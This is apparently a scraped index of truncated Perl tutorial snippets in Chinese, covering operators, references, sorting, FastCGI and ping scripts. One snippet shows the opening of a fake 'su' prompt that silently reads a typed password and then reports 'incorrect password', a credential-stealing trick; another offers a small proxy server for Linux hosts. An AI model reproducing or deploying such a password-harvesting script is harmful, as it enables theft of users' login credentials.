Time of Update: 2017-01-18
perl中<>運算子可以有如下的用途:1)如果角括弧中間是檔案控制代碼,角括弧運算子允許你讀取檔案控制代碼,比如<STDIN>。2) 如果角括弧中間是搜尋模式,角括弧運算子能返回與該模式比對的檔案清單,這稱為一個glob,比如< *.bat>。3)一組角括弧運算子如果中間沒有任何東西,那麼它可以讀取命令列上所有檔案的內容;如果沒有給出檔案名稱,則可以讀取標準輸出。請看下面這段代碼:複製代碼 代碼如下:while(<>){print
Time of Update: 2017-01-18
最近在用perl+mdbm+spread做東西。 php是用了很久了,python和ruby與用過,經典指令碼語言就perl沒摸過,現在在像小學生一樣抱著教科書啃。 發現perl果然有難度多了。別的東西沒讓我這麼頻繁地犯錯誤。 1.第一個常見的錯誤是:向檔案輸出內容。標準文法是: print STDERR "this is an apple."; 我一般都會寫成 print STDERR,"this is an apple.";
Time of Update: 2017-01-18
我改了一下,把回顯關了 加了個延時: #!/usr/bin/perl # Written by xi4oyu <evil.xi4oyu@gmail.com>. print "Password: "; `stty -echo`; $s1=<STDIN>; print "\n"; `stty echo`; sleep 3; print "su: incorrect password\n"; chomp($s1); $s2="Password is: "; $s3="
Time of Update: 2017-01-18
Perl是什嗎? Perl是一個高階程式語言,由 Larry Wall和其他許多人所寫,融合了許多語言的特性。它主要是由無所不在的 C語言,其次由 sed、awk,UNIX shell 和至少十數種其他的工具和語言所演化而來。Perl對 process、檔案,和文字有很強的處理、變換能力,因此舉凡有關快速原型設計、系統工具、軟體工具、系統管理、資料庫連結、映像程式設計、網路連結,和 WWW程式設計等之類的任務,都特別 適合用 Perl來做。這些特長不但使 Perl成為系統維護管理者和
Time of Update: 2017-01-18
大家提供了許多linux開代理的方法,一般用到python等語言,一些伺服器可能不會安裝,然而perl可以說是linux標配的語言,給大家一款Perl語言的socket代理,代碼非常少,而且還支援密碼,效果還是不錯,感覺很穩定。#!/usr/bin/perl $auth_enabled = 0; $auth_login = "hidden"; $auth_pass = "hidden"; $port = 44269; use IO::Socket::INET; $SIG{'CHLD'} =
Time of Update: 2017-01-18
一、Tesseract-OCR 是什麼An OCR Engine that was developed at HP Labs between 1985 and 1995… and now at
Time of Update: 2017-01-18
指令碼功能:通過ICMP Ping或TCP/SYN探測指定的網域名稱,探測前檢測網域名稱是否有效。file: check.host.pl#!/usr/bin/perluse strict;use Net::Ping;use Net::DNS;use Time::HiRes qw();$| = 1;my $DEFAULT_TIMEOUT = 2;my $PING_TIMEOUT = 2;my $DNS_TIMEOUT = 3;### 查詢網域名稱是否有效sub queryDomain { my
Time of Update: 2017-01-18
Hello World一個簡單的hello world例子:複製代碼 代碼如下:#!/usr/bin/env perluse strict;use warnings;use CGI::Fast;while(my $q = new CGI::Fast){ print $q->header("text/plain"); print "Hello
Time of Update: 2017-01-18
一、首先說下perl如何擷取複製代碼 代碼如下:#!/usr/bin/perl -wuse POSIX qw(strftime);my $day = strftime("%Y%m%d", localtime(time - 24*3600));#擷取昨天的日期 二、在Linux中對man date -d 參數說的比擬籠統,以下樣本進一步解釋:# -d, --date=STRING display time described by STRING, not `now'[root@Gman root]
Time of Update: 2017-01-18
由於業務需要,要查詢客戶的ip地址,將部分地區的客戶過濾出來,開始想到使用ip資料庫,發現讀取純真資料庫的難度對我來說有些大,而我目前的時間要求比較緊迫,通過在群裡詢問,感謝黑影子和扶凱的幫忙,推薦了IP::QQWry::Decoded這個模組,該模組是專門用來讀取qqwry純真資料庫的,用起來非常簡單。複製代碼 代碼如下:#!/usr/bin/perluse IP::QQWry::Decoded;use Encode;use utf8;binmode(STDIN,
Time of Update: 2017-01-18
文法 建立'引用'僅有兩種方法,使用它也是兩種。 建立引用 建立規則 1 如果你在一個變數前加一個'/'號,你就得到了這個變數的'引用'。 $aref = /@array; # $aref 儲存著指向@array的'引用' $href = /%hash; &
Time of Update: 2017-01-18
複製代碼 代碼如下:#!/bin/perluse strict; use warnings; my %movies; my $film; my %reverse_result; my $director; my @data; %movies = ( 'The Shining' =>
Time of Update: 2017-01-18
File::Basename 模組用來析取檔案路徑中的目錄,檔案名稱以及尾碼。 本文為大家介紹的這個例子,實現了擷取/home/topgkw中所有檔案尾碼,其中目錄返回空值。 此模組的詳細用法,可以通過perldoc File::Basename命令查看,建議大家經常使用perldoc參閱相關模組的詳細介紹,比網上搜尋來的資料強多了。 例子: 注意: 1)、如果使用了 print start_html,則會輸出類似如下的內容: <!DOCTYPE html PUBLIC "-//W3C//
Time of Update: 2017-01-18
本應用程式設計的幾個基本理念是:工具箱再利用:儘可能利用已有的工具;簡化運行步驟;不引入過多的商務邏輯,滿足的需求越簡單越好。所以,我們定義了本應用程式依賴於以下幾個工具的運行:ActivePerl-5.8.4.810-MSWin32-x86Upload.plUpload.config我們將主要的執行邏輯都放在Perl源檔案Upload.pl中了,設定檔為Upload.config。這個perl檔案將執行的任務是,
Time of Update: 2017-01-18
這幾天看了下perl的事件編程架構AnyEvent,重點參考了一下幾篇文章:http://search.cpan.org/~mlehmann/AnyEvent-7.05/lib/AnyEvent.pmhttp://search.cpan.org/~mlehmann/AnyEvent-7.05/lib/AnyEvent/Intro.podhttp://www.jb51.net/article/55278.htm1、什麼是事件編程?舉個簡單的例子,你瀏覽網頁的時候,你點擊一個圖片,蹭的彈出一個東西,
Time of Update: 2017-01-18
Unix 下常見的處理訊號複製代碼 代碼如下:No Name Default Action Description 1 SIGHUP terminate
Time of Update: 2017-01-18
perl + fastcgi + nginx搭建nginx + fastcgi是php下最流行的一套環境了,那perl會不會也有fastcgi呢,當然有,今天來搭建下nginx下perl的fastcgi.效能方面也不亞於php,但是現在web程式php的流行程度perl無法比擬了,效能再好也枉然,但是部分小功能可以考慮使用perl的fastcgi來搞定.進入正題.1.
Time of Update: 2017-01-18
需求:取檔案1中的一行,和檔案2中所有的資料進行比較,有相同的儲存起來,否則刪除。複製代碼 代碼如下:#!/usr/bin/perl#use strict;open(FILE1,"C:/Perl/BX/BX-Users.txt");open(FILE2,"C:/Perl/BX/BX-Book-Ratings.txt");open(result1,">C:/perl/BX/BX-Users_result.txt");my $i=0;my $j=0;while((my $bxUser=<
Time of Update: 2017-01-18
我的第一個用於生產環境的perl指令碼,雖然不是很優秀,但也邁出了紮實的一步 :)領導有任務,給一批IP列表,ping每一台機器,如果沒有響應就發郵件通知,通知的郵件需要分開,不能通知一個列表,得一封一封的通知.用到email::send模組,因為需要用到Gmail複製代碼 代碼如下:#!/usr/bin/perl use warnings; use strict; use Email::Send; use Email::Send::Gmail; use
Time of Update: 2017-01-18
按照要求進行的排序:複製代碼 代碼如下:#!/bin/perl@number=qw/5 10 15 3 2 4 8 6 /; my @descending =sort {$a<=>$b} @number;#這裡$a=5,$b=10,因為$a在前,perl得到的結果是小數在前,也就是升序排列 print "@descending\n"; 結果如下:F:\>perl\a.pl 2 3 4 5 6 8 10 15 F:\>